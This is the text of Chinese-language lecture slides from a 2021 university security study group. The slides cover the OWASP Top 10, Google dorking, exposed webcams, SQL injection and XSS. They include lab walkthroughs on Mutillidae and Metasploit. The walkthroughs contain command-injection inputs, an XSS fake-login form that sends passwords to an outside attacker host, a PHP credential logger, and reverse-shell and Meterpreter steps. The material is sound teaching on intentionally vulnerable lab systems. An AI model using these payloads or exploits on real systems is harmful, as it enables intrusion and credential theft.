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單元一
網頁安全OWASP Top 10
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OWASP Top 
10

 OWASP (The Open Web Application Security 
Project) Top Ten Project

 OWASP Top 10 2017
 https://www.owasp.org/images/7/72/OWASP_To

p_10-2017_%28en%29.pdf.pdf

3A8-Cross-Site Request Forgery (CSRF), as many frameworks include CSRF defenses, it was found in only 5% of applications.

https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf


Google 
Hacking (1) 

 Google Hacking!!  資訊藏不住

 Google Hacking Database (GHDB) 
 https://www.exploit-db.com/google-hacking-

database/
 Google hacking database 列出常被駭客搜尋的一
些關鍵字組，包括 usernames, passwords, e-mail 
list, password hashes, and other important 
information.

 inurl:wp-content/uploads filetype:xls | filetype:xlsx
password  (Files containing passwords)
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See http://sls.weco.net/node/12922
intitle:"index of" admin
filetype:pdf
link:www.ncyu.edu.tw
Inurl:xxx

https://www.exploit-db.com/google-hacking-database/
http://sls.weco.net/node/12922


Google 
Hacking (2) 

 Google Hacking Database
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Google hacking database is set up by the offensive security 
guys, the ones behind the famous BackTrack distro.
Google hacking database has a list of many Google dorks that 
could be used to find usernames, passwords, e-mail list, 
password hashes, and other important information.



Webcam 安
全 (2)

 Shodan is a search engine for hackers. Unlike 
Google, Bing, and Yahoo, which crawl for front-end 
pages, Shodan crawls the web for devices such as 
printers, security cameras, and routers, which are 
connected to the Internet.
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Webcam 安
全 (3)

Insecam Displays Unsecured Webcams 
From Around The World

7

https://techcrunch.com/2014/11/07/insecam-displays-
insecure-webcams-from-around-the-world/

http://www.insecam.org/
參考 https://www.kocpc.com.tw/archives/115914

insecam Taiwan

https://techcrunch.com/2014/11/07/insecam-displays-insecure-webcams-from-around-the-world/
http://www.insecam.org/
https://www.kocpc.com.tw/archives/115914


Webcam 安
全 (4)

 https://www.csoonline.com/article/2844283/peepin
g-into-73-000-unsecured-security-cameras-thanks-
to-default-passwords.html
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https://www.csoonline.com/article/2844283/peeping-into-73-000-unsecured-security-cameras-thanks-to-default-passwords.html


單元二
網頁安全攻防的實際演練
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注入攻擊
(Injection 
Flows) (5)

補充
 虛擬機連結

 請使用NAT 網路

 喜好設定 -> 設定相同之 NAT 網路
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注入攻擊
(Injection 
Flows) (1)

何謂 SQL Injection
 From wiki
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SQL Injection 為Web 攻擊中 Injection Flaw 的一種。一般
Injection 攻擊種類除了 SQL  命令外，還可以包含程式碼或是
檔案路徑等。
由於許多的Web 應用再讀取外部系統，如資料庫時，需要傳
遞相關的參數，以資料庫為例，必須要傳遞登入資訊、查詢
條件等。
因此，攻擊者可便利用這樣的時機，將惡意的程式碼或指令
傳送到資料庫中去執行。透過這些惡意程式碼，攻擊者可以
獲取機密資訊或是對資料庫做非經授權的資料變更。



跨網站腳本
攻擊 (Cross-
site Scripting)
(1)

 Cross-site scripting (XSS) 跨網站腳本指令
碼攻擊，或稱為跨網站腳本攻擊。通常發生的情
況如下：

 資料由一個非受信任的來源傳入Web 的應用中，
如 HTTP request 或是由資料庫讀入。

 Web 的應用將所收到的資料動態地地送給使用者，
而沒有經過仔細的驗證是否包含惡意的程式碼。

 當XSS 的漏洞被用來攻擊時，傳送給Web 應用
的惡意的資料通常包含 JavaScript 的片段程式碼，
但也可能包含HTML、Flash、或是其他型態可由
瀏覽器執行的程式碼。
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跨網站腳本
攻擊 (Cross-
site Scripting)
(2)

 XSS 攻擊的步驟可用下面的圖來進一
步說明。
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受害使用者
攻擊者

Web 伺服器

1. 攻擊者將惡意的
link 傳送給受害使
用者

2. 受害使用者按下
連結，送出請求至
Web網站伺服器

3. 網站將惡意程式
碼反映至受害使用
者的瀏覽器上

4. 受害使用者瀏覽
器執行程式碼並將
機密資訊傳送給攻
擊者



跨網站腳本
攻擊 (Cross-
site Scripting)
(7)

 XSS Stored
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database

Web 網站

攻擊者

受害使用者 1

受害使用者 2

攻擊者傳送惡意程式碼給Web 網
站，並讓網站將此程式碼儲存於
資料庫中

Web 網站由資料庫中讀
取惡意程式碼，並將攻
擊遞送給受害使用者

XSS 依照攻擊的情況可區分成以下兩類：
Reflected Cross-site Scripting: Web 伺服器
會反映程式碼攻擊至受害使用者的瀏覽
器上面。
Stored Cross-site Scripting: Web 網站會儲
存惡意的內容（例如儲存於資料庫或是
檔案上面），因此，單一個攻擊可能會
影響許多使用者，無需其他額外的動作。



網頁安全攻
防練習
OWASPBWA

下載OWASPBWA
 Open Web Application Security Project (OWASP) 

Broken Web Applications Project

 使用Virtualbox 啟動
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https://sourceforge.net/projects/owaspbwa/

https://sourceforge.net/projects/owaspbwa/


OWASP 
Mutillidae II  
(1)

 XSS testing Level 0 – Level 1  Level 5

 Lookup DNS
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OWASP 
Mutillidae II  
(2)

 Level 1
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OWASP 
Mutillidae II  
(3)

 Use burp
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Change it



OWASP 
Mutillidae II  
(4)
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Note: Level 5 is secure against XSS
The student can see dns-lookup.php



OWASP 
Mutillidae II  
(5)

 Command Injection (lookup DNS) in 
Post

 Localhost && dir
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OWASP 
Mutillidae II  
(6)

 Localhost && cat credits.php (also can 
type cd ../../) 
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OWASP 
Mutillidae II  
(6)

netstatus
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OWASP 
Mutillidae II  
(7)

 In Level 1 security

23



OWASP 
Mutillidae II  
(8)

 Pop-up windows XSS attack! (The Blog)
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OWASP 
Mutillidae II  
(9)

 Pop-up windows HTML code (to capture-data.php)
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<div id="idLogin" style="padding: 20px; position: absolute; 
top:250px; left: 400px;background-color:#ffcccd; border: solid 
black 1px;">
<form action="http://10.0.2.7/mutillidae/capture-data.php" 
method="get">
<table style="font-weight:bold;">
<tr><td colspan="2" style="font-size:20px;">Were sorry. This 
session has expired.<br/><br/>Please login again.</td></tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr><td>Username</td><td><input name="username" 
type="text"></td></tr>
<tr><td>Password</td><td><input name="password" 
type="text"></td></tr>
<tr><td colspan="2" style="text-align:center;"><input 
type="submit" value="      Submit      "></td></tr>
</table>
</form>
</div>



OWASP 
Mutillidae II  
(10)

 Pop-up windows!
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OWASP 
Mutillidae II  
(11)

 Capture-data!
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OWASP 
Mutillidae II  
(12)

 To another website
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<div id="idLogin" style="padding: 20px; position: absolute; 
top:250px; left: 400px;background-color:#ffcccd; border: 
solid black 1px;">
<form action="http://120.113.173.21/attacker/cap.php" 
method="get">
<table style="font-weight:bold;">
<tr><td colspan="2" style="font-size:20px;">Were sorry. 
This session has expired.<br/><br/>Please login 
again.</td></tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr><td>Username</td><td><input name="username" 
type="text"></td></tr>
<tr><td>Password</td><td><input name="password" 
type="text"></td></tr>
<tr><td colspan="2" style="text-align:center;"><input 
type="submit" value="      Submit      "></td></tr>
</table>
</form>
</div>

<?php

$user = $_GET["username"];
$pass = $_GET["password"];
$file = fopen('cap.txt', 'a');
fwrite($file, "Username:" . $user . "   Password:" . 
$pass . "\n");

?>

cap.php



OWASP 
Mutillidae II  
(13)

 Pop-up windows!
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OWASP 
Mutillidae II  
(14)

 Save to file! cap.txt
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單元三
網路攻防演練初體驗
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滲透測試之
實務操作：
駭客工具
Ｍetasploit

駭客有很方便的滲透工具– 水能載舟亦能覆舟

Unreal IRCD 3.2.8.1 Remote Backdoor

 UnrealIRCd is an open source IRC (Internet Relay 
Chat) daemon, originally based on DreamForge, 
and is available for Unix-like operating systems and 
Windows. 

 http://en.wikipedia.org/wiki/UnrealIRCd

 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CV
E-2010-2075
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http://en.wikipedia.org/wiki/UnrealIRCd
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2075


結語

 也許你想要精進駭客攻防技術
學校修課
 考證照 (https://www.eccouncil.org/ )

 CEH -> ECSA -> LPT
 道德駭客 -> 安全分析師 -> 滲透測試工程師
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https://www.eccouncil.org/


Introduction to Metasploit (4)

 Start the Metasploit (or just type msfconsole)

 For database => msfdb

34



Introduction 
to Metasploit
(5)

 Metasploit Architecture
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Introduction 
to 
Metasploit
(6)

Search CVE
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Introduction 
to Metasploit
(7)

Unreal IRCD 3.2.8.1 Remote Backdoor

 UnrealIRCd is an open source IRC (Internet Relay Chat) 
daemon, originally based on DreamForge, and is available for 
Unix-like operating systems and Windows. 

 http://en.wikipedia.org/wiki/UnrealIRCd

 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-
2075
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http://en.wikipedia.org/wiki/UnrealIRCd
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2075


Introduction 
to Metasploit
(8)

 Search result of Unreal IRCD 3.2.8.1 
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Introduction 
to Metasploit
(9)

 See the details

 info exploit/unix/irc/unreal_ircd_3281_backdoor
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Introduction 
to Metasploit
(10)

 Simply run the “use” command with the 
exploit name.

 That’s OK!
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Introduction 
to Metasploit
(11)

 Use nmap to check the vulnerabilities of 
the metasploitable


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Introduction 
to Metasploit
(12)

Setting Exploit Options
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Introduction 
to Metasploit
(13)

 set RHOST
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Introduction 
to Metasploit
(14)

 show payloads

 set payload
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Introduction 
to Metasploit 
(15)

 Set LHOST

 Running the Exploit
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Introduction 
to Metasploit 
(16)

 Test attack result

 Cat password
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Introduction to 
Metasploit (17)  Getting a remote shell on a Windows XP Machine

47



Introduction 
to Metasploit 
(18)

 Show targets
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Introduction 
to Metasploit 
(19)

 show advanced

 Picking a Payload

 show payloads

 set payloads
 reverse_tcp shells as once they are executed on the 

target system, they tell the attacking machine to 
connect back out to our Kali system.
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Introduction 
to Metasploit 
(20)

 Set LHOST & RHOST

 Run exploit
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Meterpreter
Shell (1)

 After a successful exploit a Meterpreter shell allows 
you to perform many different functions along with 
a full remote shell.

 Meterpreter is great for manipulating a system 
once you get a remote connection, so depending 
on what your goals are; a Meterpreter shell is 
usually preferred to a straight remote terminal shell.

 Core Commands
 File System Commands
 Networking Commands 
 System Commands
 User Interface Commands 
 Webcam Commands 
 Three Priv Commands

 http://www.offensive-security.com/metasploit-
unleashed/Existing_Scripts
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http://www.offensive-security.com/metasploit-unleashed/Existing_Scripts


Meterpreter
Shell (2)

help
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Meterpreter
Shell (3)

 Use file system commands
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Meterpreter
Shell (4)

Use screenshot
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You can grab a snapshot of whatever is currently being displayed on your target’s 
monitor using the “screenshot” command:



課程簡報

1. Google搜尋【linwebs】

2. 進入【林林.台灣 | Linwebs】網站

3. 找到【嘉大資工課外自學讀書會課程列表】此文章

4. 找到【第二期課程 2021】的【網路安全探討
2021/5/11】即可下載本次課程簡報
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https://linwebs.tw/note/ncyu-study-group
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